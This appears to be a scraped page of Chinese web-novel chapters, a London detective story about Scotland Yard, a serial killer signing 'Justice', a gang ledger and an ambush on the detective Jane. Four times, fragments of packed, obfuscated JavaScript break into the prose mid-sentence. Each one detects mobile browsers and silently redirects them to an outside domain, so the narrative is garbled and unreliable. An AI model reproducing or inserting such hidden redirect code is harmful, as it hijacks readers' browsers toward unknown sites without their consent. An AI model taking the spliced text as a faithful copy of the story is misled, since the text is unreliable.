p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023949|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！ 这突如其来的强光打击效果惊人！ “啊！我的眼睛！” “什么东西！” “闪光弹？！条子有支援？！” 帮派分子那边瞬间大乱！ 首当其冲的几人被强光晃得短暂失明，惊恐地捂住眼睛，胡乱开枪。 原本的火力网瞬间瓦解，陷入了混乱恐慌。 怀特警探长虽然也被强光闪得偏过头，但他反应极快！ “机会！压上去！快！”他咆哮着，趁着对方火力中断和混乱，猛地从掩体后探身，手中的韦伯利连连开火。 其他警察也抓住这转瞬即逝的战机，纷纷起身射击，火力一下子覆盖了过去！ 简丢掉了手里还在燃烧发光的信号棒残骸，迅速继续行动。 她没有加入射击，而是在强光还未完全消散的混乱中，猛地扑向那个离她最近的光头大汉！他还在正捂着眼睛痛苦咒骂。 她的动作很快，受伤似乎完全没有影响她的爆发力。 她没有用枪，而是用未受伤的锁住大汉持枪的手腕猛地一扭！同时右腿膝盖狠狠顶在他的肋下！ “呃啊！”大汉惨叫，手木仓脱手飞出。 我看到简捡起了那把木仓，动作迅速，甚至抵上了大汉的身体。 上帝啊！ “简！”我喊她，完全顾不得会不会暴露位置了。 简动作停顿了，她一记干净利落的手刀劈在大汉颈侧，那个人就那样昏迷了。 整个过程区区几秒钟。 怀特警探和他的同伴已经冲了过来，枪口指着剩下几个帮派分子。他们或受伤或暂时失去抵抗力。 “不许动！苏格兰场！” 警察们迅速控制局面，给地上的伤员和俘虏上手铐。 怀特警探喘着粗气，脸上沾着硝烟和汗水，他大步走到简面前，目光复杂地打量着她，最后落在她大衣领口下隐约可见的绷带边缘。 “里斯克小姐…”他声音沙哑，语气充满了惊魂未定和困惑，“你…到底在搞什么鬼？！” “如你所见，怀特。”简整理一下自己散乱的头发和衣服，“在帮你们。” “但是你自己本身就有伤！而且！你甚至没有木仓！如果你被发现的话…” 怀特先生显然是被简的态度气到了，说话都不像之前一样温温和和的了。 “我是为了效…”简直接说。 “怀特警探！”我果断跑过去插话，“简这是事急从权。也帮了你们。” 简又一次效率至上了。这之后再算。 我拉住简，和怀特警探说着，“至于木仓，你知道，持木仓许可证需要苏格兰场的通过…当然…我知道你肯定是关心简的…但是…” 我的话，停留得恰到好处，但足够怀特警探明白我的意思。 我看见这位尽职的警探猛烈的咳嗽了起来，“这…也是…我回去尽力问问…但小姐，我想你明白…” “当然。”我笑着点头，然后在简的示意下继续说到，“对了，怀特警探，你们怎么会在这发生这么激烈的冲突？实在是太危险了！” 可以肯定的说，后面的话，我是完全真情实感的！木仓战！就这么真实的发生在身旁！ 哦！上帝啊！ 33.4.4 木仓声的回响仿佛还回荡在空气里，硝烟和血腥混合成一股令人作呕的气味。 其他警探已经把人全部押送到车子里了。 “老大。好了。”有警探过来对怀特警探说。 “行。”怀特点点头，他转向我们，“里斯克小姐，本小姐。你们…也得跟我回一趟苏格兰场。今天这事，还有霍华德…我们需要谈谈。详细的谈。” 简没有异议，只是轻轻颔首，动作牵扯到胸口的伤，她极细微地吸了口气，但脸上依旧没什么表情。 我注意到她的伤口处似乎渗出更多暗红了，她可能又把伤口扯开了。 “当然，怀特警探。”我立刻接话，同时不着痕迹地靠近简，“但是简的伤需要先…” “没事的。弗瑞。”她打断我，率先迈步跟在押送俘虏的警察后面，走向巷口停着的几辆黑色警用厢型车。 我只好无奈地跟上。 这是我第二次到苏格兰场了，上一次，还是作为嫌疑人。 而当时的霍华德警探现在…… 唉。 怀特把我们带进了一间单独的办公室，比上次那间更靠里，也更安静。 他示意我们坐下，倒了三杯水。 “今天的事…”他开口，声音疲惫，“谢了，里斯克小姐。虽然你的方式让人心惊肉跳。” 他苦笑了一下，但立刻严肃起来，“但你们为什么会在金赛马后巷？别告诉我是散步。” 简端起水杯，没有喝。 “为了马可·比安奇和威廉·霍华德。”她直接点题。 “第三个死者是比安奇，第四个是霍华德。凶手没打破规律。比安奇和霍华德有联系，另外两个死者呢？他们四个之间，有什么是‘Justice’非要清除不可的？” 怀特警探重重地叹了口气，双手撑在桌面上。“我们也在查，信息还没凑全，但霍华德…” 他脸上闪过厌恶和痛心，“他烂透了。不是一天两天了。” 他拉开抽屉，拿出一个薄薄的卷宗，推到我们面前。里面是一些零散的记录和照片。 “霍华德警探，背地里，不过是是那些大人物还有危险人物好用的狗。”怀特的声音带着压抑的怒火。 “我们早就怀疑他收黑钱，包庇他们的非法赌马放贷，还有暴力活动，但…一直…没有确凿证据。呃…小姐们，你们知道的。” 我点了点头，对于他的话，我不予置评。 没有确凿证据？ 也许只是永远有人需要霍华德罢了。 怀特警探指着其中一张模糊的照片，是在“金赛马”后巷的偷拍，隐约能看到霍华德和一个男人在低声交谈。 “这个人是保罗·罗西，金赛马酒吧的老板，也是本地意大利裔团伙的头目，比安奇就是给他办事的。” “比安奇死前，”怀特继续道，“我们收到一点风声，说他似乎惹上了大麻烦，可能卷走了帮派一笔不小的钱，或者知道了不该知道的事。” “他消失过一段时间。”简点点头说。 “是，据我们的线人说，是他自己动了不该的心思。紧接着，他就被‘Justice’干掉了。” 简的手指在桌面上轻轻敲了一下，“霍华德呢？他在这中间扮演什么角色？” “中间人？也可能是提供一些行动或者别的什么方便？”怀特警探脸色阴沉。 “我们查到霍华德在比安奇死前和死后，都频繁地私下见过罗西。比安奇死后，帮派内部似乎因为那笔‘失踪’的钱或者别的什么，发生了不小的动荡。今天下午我们去‘金赛马’后巷，原本是想找罗西‘例行问询’关于比安奇的事，顺便看看能不能找到霍华德涉案的线索。” 他捏紧了拳头，“结果我们刚到，还没找到罗西，就撞上那帮亡命徒！他们像疯了一样，二话不说直接开火！好像知道我们要去，在守着什么或者急着清除什么证据。我们被打了个措手不及，被迫应战，然后你们就出现了。” “守？”我追问，“他们在巷子里守着什么？” 怀特警探摇头，“不清楚。交火太突然，我们根本没机会深入搜查。现在现场被封锁了，我们的人正在搜。但我有种感觉，霍华德的死，和比安奇的死，还有今天这场袭击，都指向同一件事。” 那笔‘失踪’的钱，还是某个能要命的秘密，或者其他不为人知的秘密？ Justice的目标很明确，那些死者，前两个表面毫无关联，但暗地里都和地下世界有染。 银行职员挪用了公款私自放贷，这钱流向了哪里？出版社社员又扮演了什么角色？信息传递？洗钱渠道？比安奇是复杂赌马还有地头蛇，霍华德是保护伞。 这四个人，很可能是一条线上的蚂蚱。 Justice在顺着这条线，从外围的爪牙，一路杀向核心的保护层。 简沉默了片刻，浅绿色的眼睛盯着卷宗里霍华德和罗西的那张模糊合影。 她抬起眼，看向怀特警探，“怀特，你们抓回来的那些人，尤其是那个光头，他们是罗西的人？还是别的势力？” “大部分是罗西手下的打手，那个光头叫卡肖，是罗西的头号打手。”怀特说，“我们的人正在审。” “带我去看看。”简站起身，语气不容置喙。 怀特警探愣了一下，“里斯克小姐，这不符合程序…” “怀特警探，”我开口，“霍华德死了，下一个目标可能是那个罗西，也可能…是你们苏格兰场里和这条线有牵连的其他人。你知道的，Justice不会停手。他选择公开标记‘Justice’，不仅仅是炫耀，更像是一种宣言。我们没有那么多时间。那个人，他现在知道的最多。让简去吧。” 怀特警探看了看简，又看了一眼站在她身旁的我，最终重重叹了口气。 “好吧。但只能旁观，不能插手审讯。这是底线。” …… 审讯室的空气比外面更浑浊，混合着汗味，烟味和绝望的气息。 单面玻璃后面，卡肖被铐在椅子上，额头有着青紫瘀血，嘴角破了，眼神却仍然像野兽，凶狠但又带着不易察觉的惊惶。 两个身材魁梧的警探坐在他对面，语气严厉地盘问着，但卡肖只是梗着脖子，要么沉默，要么用意大利语咒骂。 虚张声势，这是我对他的第一感觉。 怀特警探，简和我站在玻璃后面看着。 “看，油盐不进。”怀特警探低声说，眉头紧锁。 简观察了几分钟，忽然对怀特警探说，“告诉他们，停止问关于今天袭击的事。问问他，保罗·罗西现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029529|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在在哪里？安全吗？” 怀特疑惑地看了简一眼，但还是拿起内部通话器（单向广播式的），向里面的警探传达了指令。 里面的警探愣了一下，但还是照做，换了问题，“卡肖，罗西在哪？他安全吗？” 卡肖猛地抬起头，凶狠的眼神里闪过惊疑，也许还有恐惧，他死死盯着问话的警探，依旧不开口，但紧绷的身体微微前倾。 “再问，”简的声音很冷，面色很严肃。 “告诉他，比安奇死了，霍华德也死了。下一个，会不会轮到罗西？或者轮到他自己？Justice可不管你是头号打手还是小喽啰，只要沾了那条线上的事，都得死。但是，你们可以保他。” 怀特转述了简的话。 当那些话被清晰地用意大利语说出来时，卡肖脸上伪装的凶狠停滞了。他的瞳孔剧烈收缩，嘴唇不受控制地哆嗦。 审讯室里的问话停下来了，只有卡肖一个人粗重的喘息声。 “Justice…Justice…”卡肖喃喃地重复着这个词，声音带着强烈的恐惧和愤恨。 “他…他不是为了什么狗屁正义！他就是个疯子！一个…一个踩着尸体往上爬的疯子！” 他猛地抬起头，布满血丝的眼睛死死盯着单面玻璃，仿佛要穿透它。 “比安奇那蠢货！他以为偷了账本就能勒索那些大人物！他以为他是谁？！霍华德那条子也贪得无厌！他们…他们都该死！但Justice…他比他们都狠！他杀了他们！像宰猪一样！还在他们身上刻字！他抢走了账本！” 怀特警探立刻追问，声音透过话筒传到里面，“什么账本？藏在哪？” 卡肖摇头，“我不知道！真的不知道！老板只说…那账本很重要。有条…警探收的每一笔钱！还有一些大人物的…老板说那东西要是落到对头手里，或者落到Justice手里，我们都得死！比安奇就是因为想拿那账本去敲诈，才被…”他没说下去，但意思很明显。 他情绪彻底崩溃了，双手被铐住，只能徒劳地抓着头发。 “保罗…保罗老板不见了！比安奇那混蛋出事之后，老板就慌了！霍华德那个该死的条子也联系不上！大祸临头了！他早就跑了！丢下我们…让我们守好‘老地方’，谁敢靠近就杀谁！今天…今天你们来了…我们以为…以为你们是Justice的人…或者…是老板的对头…” “所以你们就开火？”审讯室里的警探的声音冰冷，“为了一个抛弃你们的老板？” “我们没得选！”卡肖嘶吼，带着被抛弃的愤怒和恐惧，“老板跑了！Justice像鬼一样！我们怎么办？！守不住也得死！” “问，出版社那个和银行职员是干什么的”简对怀特警探说，“他们和Justice有什么关系？” 听到警探问话的卡肖愣了一下，眼神闪烁，似乎在回忆。 “出版社那个…好像…好像帮霍华德处理过一些见不得光的文件？还是…还是洗过钱？我不清楚…老板提过一次。银行那个…他挪了钱，很大一笔…是放给我们的！也许还有其他人？通过比安奇！利息高得吓人！他死了，那笔账就烂了！没人知道他到底挪了多少，又放出来多少！Justice杀了他，那笔钱就彻底成了无主的肥肉！他一定是想办法吞掉它！” 34.4.5 之后卡肖就再也不说出来什么有用的东西了。无论怎么询问，他都一言不发了。 他在给自己留后路，想要两边讨好。 “继续问，还有，让你们的人掘地三尺的找到罗西，在Justice之前。” 简看了一眼怀特警探，冷静地命令道。 “罗西在极度恐慌下，最可能去的，是他认为安全的地方。” 怀特立刻明白了她的意思，“我马上去查罗西名下和关联的所有房产和仓库！” “尽快。”简说，她胸口的暗红似乎又扩散了一点。 我忍不住扶住她，简在冲我摇头，我只好迅速把头转到怀特警探，“对了，怀特警探，你们可以查一下这几个人的共同关系人，Justice绝大可能是他们的熟人或者黑事的参与人。” “行，本小姐。”怀特警探对于我没话找话说的没有什么不满，他看着我仍旧扶着简的手说，“尽快带里斯克小姐去我们的医务室。小姐，辛苦了。” 说完，他就点头示意，匆匆去带着他的同伴去调查了。 而我则是看向了简，“里斯克小姐，我想你不介意让我陪你去趟医务室。” “呃…弗瑞，其实我…” 不听，拉着她走，这个人对自己受伤之类的事情，似乎好像不会死就行。 亲爱的，我从没见过有谁像她那样不在意自己。即使我知道，她可能不是在强撑，情况可能也没有那么严重，但是，我没法就看着她这样。 所以，我几乎是态度非常强硬地要带她去苏格兰场的医务室，而简，最终也没有拒绝。 医务室特有的消毒水味浓得刺鼻。 光线冷白，照得她没什么血色的脸更显苍白，只有那团暗红在胸口衬衫下顽固地蔓延。 “把外套脱了，小姐。”医务官是个头发花白，神情严肃的老头，动作倒是麻利，已经打开了器械盘。 简没动。我想她不太愿意。 “简。”我声音沉了些，带着不容置疑。 我直接上前，小心地帮她解开那件沾了些尘土的风衣。指尖触碰到她微凉的皮肤，能感觉到她身体的僵硬，但最终她只是极轻微地叹了口气，配合着我的动作，任由我把外套褪下肩膀。 里面那件素色衬衫的左胸位置，暗红的印记已经晕染开一大片，边缘颜色更深，布料紧贴着皮肤。我的心猛地一揪。 医务官倒吸一口冷气，镊子和纱布的动作明显快了起来。 “这可不是小事，小姐！你需要立刻处理，可能还要去医院缝合。” “先止血。”简的声音很稳，甚至没有看伤口，目光依旧锁在门口，“怀特那边有消息立刻告诉我。”这话是对我说的。 “先顾好你自己！”我控制不住的说，态度并不好，但看着她平静下掩藏的疲惫，又硬生生压了回去，只能烦躁地应着，“行，行，我盯着。但你得听医生的！” 医务官熟练地剪开衬衫边缘，露出伤口。 那不算长但颇深的割伤，边缘皮肉有些外翻，还在缓慢地渗血。 医务官快速清理。 而简，她紧抿着唇，额角渗出冷汗，但一声没吭，仿佛那疼痛发生在别人身上。 医务官完成了最后的包扎，语气严厉，“小姐，您必须静养，伤口很深，失血不少，不要再剧烈活动。”他转向我，带着叮嘱，“小姐，请务必看着她。” “我会的。”我看着简苍白疲惫的脸，沉声应道。 这次她似乎没再坚持立刻行动，只是闭着眼，长睫在眼下投下淡淡的阴影，胸口微微起伏。 “回家，简。”我声音放得很轻，却不容置疑地扶起她。她身体的分量压在我手臂上，比平时更沉，泄露了强撑后的虚弱。 这一次，她没有拒绝，只是低低“嗯”了一声，任由我帮她小心地穿上风衣，将那片狼狈和血色掩在厚实的布料下。 离开苏格兰场，伦敦傍晚湿冷的空气扑面而来。 我本该立刻带她回去的，本该如此，我应该积极去学会开车的。但我只能叫车，谢天谢地，没有太久。 目的地是公寓附近的街道，公寓有她习惯的药品和相对安全的环境。 车厢里很安静。 她靠在椅背上，头微微侧向窗外，路灯的光在她脸上明明灭灭，眉头紧锁，显然伤口在持续作痛，但她依旧一声不吭。 这种沉默的忍耐让我心头火起，又心疼得发紧。 车子在熟悉的道路停稳。 我付了钱，小心地扶她下车。 现在也很晚了，似乎只有我们两人的脚步声在空旷中回响。我一手扶着她，一边警惕着。 说实话，亲爱的读者，我不太想回忆下面的事情，那是真真切切的生死边缘。每当我回想，我总是痛恨我的无力。 但是，我总要面对。 所以，读者，请原谅我接下来也许有些混乱的叙述。 砰！ 沉闷的木仓响撕裂了寂静！ 不是来自远处，而是近在咫尺的阴影里！ 一股灼热的气流几乎是贴着我的头皮擦过！是装了消音器的手木仓！ “趴下！”简的反应快得如同本能。 她不是自己趴下，而是在那声枪响的瞬间，用尽全身力气猛地将我狠狠按下，并挡在了我的面前！我的后背重重砸在冰冷的地上，眼前发黑。但是将我撞开的时候，简她自己完全暴露在了木仓口之下！ 噗！ 第二声沉闷的木仓响！ 伴随着一声压抑的闷哼！ 我看到简的身体猛地一震！她朝我勉强笑了一下，“别怕…不会有事…” 然后，她整个人软软地向下倒去！那团刚刚包扎好的暗红，在风衣下迅速散开一片更大更深更刺目的猩红！ “简！！！” 我控制不住地喊出来，只剩下破碎的音节。恐惧，愤怒和撕心裂肺的痛楚瞬间淹没了我！ 又是这样！她为了保护我！我痛恨自己！痛恨自己的无能！痛恨自己只能眼睁睁看着她挡在自己身前承受伤害！ 阴影中，几个持木仓的身影迅速闪出，木仓口冰冷地指向倒地的简和我，显然是要补木仓！ 就在这千钧一发之际。 砰！砰！砰！砰！ 清脆，凌厉，毫无掩饰的木仓声如同惊雷般炸响！ 木仓口焰瞬间照亮了黑暗！ 子弹精准无比地射穿了那几个袭击者的脑袋和胸口！ 他们甚至来不及哼一声，就像破麻袋一样重重倒下，手中的木仓掉在地上发出清脆的撞击声。 穿着黑色紧身皮衣，身形矫健如雌豹的女人，如同鬼魅般现身。 她手中握着还冒着硝烟的□□手木仓。眼神冰冷锐利，似乎没有丝毫感情波动。 她是谁？ 她要干什么？ 我无助地抱着简。 那个女人看都没看地上的尸体，快步冲到我们身边，“你要干什么？！” “我是梅尔。”冰冷的声音说。 然后迅速从腰间抽出一支东西，我看清楚了，是强效止血针！ 她毫不犹豫地扎进简的手臂。 她是来帮我们的？帮简的？简的人？ 但是，没等我问，自称梅尔的女人猛地抬头，锐利的目光扫向街道，像一头警觉的猎豹。几辆新式汽车迅速停在了我们旁边。数个穿着深灰色西装的人下来，包围了我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035519|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，堵死了所有出口。他们装备精良，动作专业冷酷，身上带着冰冷而高效的压迫感。 空气中除了血腥味，似乎漫上来一种熟悉的，若有若无的香水味。 格林小姐！她踩着高跟下来了。 “来晚了？！”她似乎在感叹，但掩饰不住她的惊讶。 “格林。”那个叫梅尔冰冷地吐出字，她握紧了手中的枪，身体微微紧绷，挡在我们身前，像一头守护幼崽的母狼。 为首的格林小姐目光扫过昏迷的简，又冷冷地掠过梅尔和我，最终定格在简胸口的血迹上。 她做了一个极其简洁的手势。 两个“金环蛇”成员立刻上前，动作精准而迅速，准备抬起简。 “不！你们要干什么？！把她还给我！”我像疯了一样抱着，试图阻止他们碰触简。巨大的恐惧和愤怒让我失去了理智。 我不能让他们带走她！谁知道这些神秘冷酷的家伙会对她做什么！ “她需要和他们走。”梅尔的声音冰冷，似乎毫无起伏。 她不知何时已贴近我身边，一只戴着战术手套的手铁钳般扣住我的手腕，力道大得让我骨头生疼，瞬间瓦解了我的挣扎。但她的目光紧紧盯着格林小姐。 “金环蛇不会对她怎么样的。”这句话像是对我说的，更像是对格林的警告。 格林的嘴角勾起笑，笑意未达眼底。路灯在她精致的镜片上反射出寒光。 “当然，梅尔小姐。”她的声音依旧带着那股令人不适的慵懒腔调，目光扫过简那片刺目的猩红。“时间就是生命，不是吗？我们耽搁不起。” 她做了个更简洁的手势，那两个“金环蛇”成员动作没有丝毫停顿，专业而冷酷地将简从我怀中抬起。 担架不知何时已放在地上，简的身体被迅速而平稳地移了上去。 “至于本小姐…” 梅尔手中的木仓瞬间抬起，木仓口稳稳指向格林眉心，动作快得只余一道残影。 “别做多余的事，”她的声音压得很低，“不然，下一木仓不会打偏。” 刚才她警告性的那一木仓，在格林小姐漂亮的脸蛋上留下了一道血痕，而弹口还在冒着缕缕青烟。 空气凝固了。 “金环蛇”成员的木仓口微不可察地调整了角度，目标显然是梅尔。 气氛一触即发，但简的情况并不好，简的血在担架的白布上洇开。她脸上最后一丝生气仿佛也在随着那血色流逝。此刻，她躺在那里，生死悬于一线。 “我跟你们走！”我用尽了全身力气嘶喊出来。我猛地甩开梅尔钳制的手（她似乎预料到，力道松了一瞬），踉跄着扑到担架旁，不顾一切地紧紧握住简那只冰凉得吓人的手，仿佛要将自己微薄的热度渡给她。 我抬起头，死死盯住格林“救她！你们救她！！！现在！立刻！！！” 格林镜片后的目光在我脸上停留了一瞬，那眼神复杂难辨。她微微颔首。 “开车。” 担架被迅速抬进其中一辆深色轿车的后厢。 我不顾梅尔骤然锐利的目光和格林审视的眼神，手脚并用地跟着钻了进去。 狭窄的车厢里充斥着浓烈的血腥味。 我紧紧攥着简的手，视线模糊，只看到她身上那片不断扩大的暗红。 车窗外，伦敦的夜色飞快倒退，光影在简毫无血色的脸上明灭不定。 梅尔的身影在车外迅速模糊消失，仿佛从未出现。 车厢里只剩下我焦急的喘息，和简那微弱到几乎感觉不到的脉搏在我指尖下的跳动。 不是说，回家吗？ 不是说，别怕…不会有事的吗？ 简，你不要骗我。 35.4.6 “简…坚持住…求你……”我握着简冰冷的手喃喃自语。 上帝啊，求您怜悯！求求您，请不要让她死！救救她！我愿意付出我的一切。 …… 车子最终驶入一个我从未来过的区域，在一栋看似普通但安保极其森严的灰色建筑前停下。建筑本身毫不起眼，甚至有些压抑，但门口那些穿着眼神锐利如鹰的守卫，无声宣告着此地的非同寻常。 车门被迅速拉开。 格林小姐早已下车等候。 两个“金环蛇”成员动作迅捷，抬着简的担架快步进入建筑内部。 我踉跄着跟上去，格林没有阻止，只是步伐优雅地走在前面引路。 内部是冰冷的金属和惨白灯光。我们穿过几道厚重的门，最终进入一个光线柔和许多但设备更加令人心惊的区域。 一个装备精良的医疗室。 简被迅速转移到一张手术台上。 穿着无菌服，戴着口罩的医生和护士立刻围了上去，动作麻利地连接各种监控仪器。 冰冷的器械碰撞声，仪器发出的规律电子音，交织成一张无形的网，而网的内部是简的命。 “心率过低，血压持续下降！” “准备血浆，O型！” “伤口位置危险，需要立即开胸探查！” 我看着他们剪开简的衣物，露出那片被血浸透的绷带，以及绷带下狰狞的伤口。手术刀冰冷的反光让我一阵眩晕。 “弗瑞小姐。”格林的声音在我身后响起，带着不容置疑的命令，“先生要见你。现在。” 我猛地回头，眼睛死死盯着她，“不！我要在这里！我要看着她没事！” 我的声音嘶哑，带着自己都没察觉的哭腔和固执。 格林的表情没有丝毫变化。 “先生的决定，不容置疑。要么你自己跟我走，要么我让他们‘请’你走。”她语气平淡，却带着巨大的压迫感。 她的目光扫过旁边两个面无表情的“金环蛇”成员。那是无声的威胁。 我看着手术台上简苍白如纸的脸，我知道格林说的是对的。 崩溃和眼泪在这里毫无用处，只会添乱。 “……好。”我艰难地说，最后深深看了一眼简，跟着格林离开。 离开医疗区，气氛更加压抑。 我们穿过一条条冰冷的走廊，最终停在一扇厚重的深色木门前。 格林敲了敲门，里面传来一个低沉平稳，却蕴含着无形威严的声音，“进。” 门被推开。 房间很大，陈设简洁而考究，巨大的落地窗外是伦敦晦暗的夜景。 一个男人坐在一张宽大的黑色皮椅中，背对着门口，面朝窗外。仅仅是那个坐着的轮廓，就散发着一种掌控全局，俯瞰众生的沉静力量。空气里似乎还残留着昂贵的雪茄烟味。 “先生”。 我曾经在黑暗中接触过的存在。 我曾经在老滴答仓惶话语中听过的存在。 这个伦敦地下世界的巨头之一。 仅凭一个背影就让人窒息的“先生”！ 恐惧和紧张让我手心瞬间被冷汗浸湿。 “先生，弗瑞小姐带到。”格林恭敬地汇报，然后无声地退了出去，轻轻带上了门。 房间里只剩下我和那个令人窒息的背影。 时间仿佛凝固了。 窗外的灯光勾勒出他肩膀和头部的轮廓，却看不清任何细节。 那种无形的压力让我几乎喘不过气。 他没有转身，甚至没有动一下。 冰冷的声音从椅子方向传来。 “弗瑞小姐。” 仅仅是叫出我的名字，就让我浑身一颤。 现在只有我一个人。 但是，我不能害怕，不能露怯。 我忍不住摩挲了一下简送我的戒指。冰冷的金属环硌着指腹，那点微弱的触感像锚点，让我不至于崩溃。 我鼓起毕生的勇气，“先生…里斯克小姐，她怎么样了？求您……” “手术在进行。”他打断我，声音没有任何起伏，像是在陈述一个与己无关的客观事实。 “这里的资源是顶级的。她的存活概率符合预期值。”这冰冷的话语像一盆冰水浇下，暂时冻住了我的恐惧，却带来了另一种更深的寒意。 但先生也不需要我的反应，他继续居高临下地说，“弗瑞小姐，我想你清楚，以简的能力，她不应该受这样的伤。是你的问题。” 他说的对，简本来也不用受这伤的。 “是我的问题？”我喃喃自语。 “你的存在影响到她。弗瑞小姐。” 他终于缓缓转动了椅子。 灯光照亮了他的脸。 那是一张毫无表情，充满威严的脸。深邃的眼窝里，是一双灰蓝色的眼睛，眼神如同亘古不化的冰川，没有任何温度，只有纯粹俯瞰蝼蚁般的审视。他看起来大约五十多岁，头发一丝不苟，整体保养得非常好。 他微微前倾，那双冰川般的眼睛锁定了我，巨大的压迫感让我几乎无法呼吸。 “我想作为一个有教养的淑女，一直窥探不属于自己的世界，并不好，不是吗？我想你应该遵从家族的安排。” “先生…”我张了张嘴，却发现自己发不出任何有意义的声音。 他不再看我，目光转向桌上一个闪烁着细微信号灯的通讯终端。就在这时，终端发出了一声极轻微的嗡鸣。 先生几乎没有动作，只是指尖在扶手上极其轻微地动了一下。通讯接通。 他没有任何寒暄，只是听着。 “让她进来。” 一个令我意外又理所当然的身影进来了，那个自称梅尔的女人。 “梅尔，你胆子很大。”先生神色莫测地说。 “先生，多谢夸奖。”梅尔这么说，来到了我的身旁，“抱歉，我得带小姐的人走了。” 她向我示意，想要我跟她离开，而先生并没阻拦。 在我跟着梅尔出去的时候，先生在我后面说，“本小姐，你应该好好思考一下，你认为，简真的是你想的那样子吗？” 我不知道先生到底是什么意思。 我也不清楚先生，“金环蛇”，和简到底是什么关系。 我只知道，简·里斯克，我的搭档，我的朋友，她现在躺在手术室，生死未卜。 梅尔没有给我任何思考或提问的余地。 她像一道精准执行指令的影子，步伐没有丝毫停顿，径直走向来时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039932|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那条冰冷的走廊。 无声无息。 “梅尔小姐…”我忍不住开口。 “弗瑞小姐。”她甚至没有回头，“保持安静，跟着我。” 我被迫咽下所有疑问和翻腾的情绪，视线却不受控制地飘向医疗区的方向。 红色指示灯依然刺眼地亮着。 “手术中”。 我们沉默地穿过迷宫般的走廊。 惨白的顶灯将墙壁映照得如同停尸房的冰柜，两侧紧闭的金属门后仿佛都潜藏着不可告人的秘密。 “金环蛇”的成员如同幽灵般出现在拐角或暗处，他们穿着统一的黑色西装，眼神锐利，面无表情。 当梅尔经过时，他们会极其轻微地停顿，紧张甚至是警惕，带着对某种权威的畏惧。 “弗瑞小姐，我送你回去。”这个危险的，有着杀手气质的女性瞟了我一眼说。 “可是简她…！” “这是小姐的意志。” 梅尔小姐就那么停下了她的步伐，回过头冰冷的审视着我。“我会护好你的安全。” “保护？”我诧异地问。 “在她受到袭击之后，她让我跟着你。”说完，梅尔小姐就不再看我，整个人散发着冰冷的气息。 我也不再问，感觉脑子乱乱的，我已经猜到了梅尔小姐应该就是简交流联系的那个人，那个“信使”。 简叫她保护我？ 再她自己受到袭击之后？ …… 我靠在冰冷的车窗上，看着外面飞速倒退的模糊街景。 今晚发生的一切都超出我的预料和想象 简…里斯克… 她到底是谁？ “先生”为何如此强大又如此冷酷？对简是那种态度？ 梅尔口中的“小姐”指简吗？ 简，她不会有事的。无数个问题最终汇成了这个念头。 她不会有事的。我告诉自己。 车子在寂静中行驶。梅尔透过后视镜看了我一眼，那眼神依旧没有任何温度。 “弗瑞小姐，”她的声音打破了安静，“记住今晚。记住先生的警告。也记住，”她停顿了一下，“小姐能为你挡一次子弹，未必能挡第二次。远离你不该触碰的黑暗。” “或者，你需要与之相关的能力。” 她的声音落下，车内再次陷入死寂。 只有雨点敲打车顶的声音，密集而冰冷，仿佛永无止境。 我回到了和简的公寓。 只有我一个人。 也许，梅尔小姐在我不知道的地方。 那个夜晚，我在自己的房间里，近乎静坐了一夜。窗外，伦敦的雨不知疲倦地敲打着玻璃。 “先生”是对的。 梅尔小姐也是对的。 我需要能力。 需要与简，与危险相配的能力。 …… 第二天一早。 我独自一人去了事务所。 老滴答在等着，他似乎已经知道了，什么也没问，他叹了口气，然后看着我上楼。 简不在。翻看档案，调查，Justice的案子还没有解决。这是简感兴趣的案子。 我可以的。 我必须可以。 36.4.7 “怀特警探，罗西的隐藏地点找到了吗？”我压下自己的恐慌和担忧，打电话问怀特警探。 “本小姐，我们的人还在排查。”怀特警探的声音听起来很疲惫。 已经15号了，按照Justice的规律，今晚会再死一个人。 找不到罗西…… 必须换条路。 所有被害者都是近距离被捅死的，Justice一定是他们的熟人，具有一定的信任基础。 但是，我不明白，凶手为什么要选择这样一个具有仪式感的杀人方式，还留下了“Justice”这样极具挑衅意味都标志。 为了那个账本，那笔巨款？还是报复？ 我胡乱的想着。 我又控制不住地担心简了，但是，我只能强迫自己的注意力都放在Justice的案子上。 如果是简，她会怎么样？她会怎么调查？ 她会先从相关人入手？！ 相关人？！ 参与那黑事的人看见自己的同伙一个接一个的死掉，难道不会恐慌，不会怀疑吗？ 一定会。 但是，霍华德警探还是死了。 独自一人。 死在了…泰晤士河南岸的一个废弃仓库？ 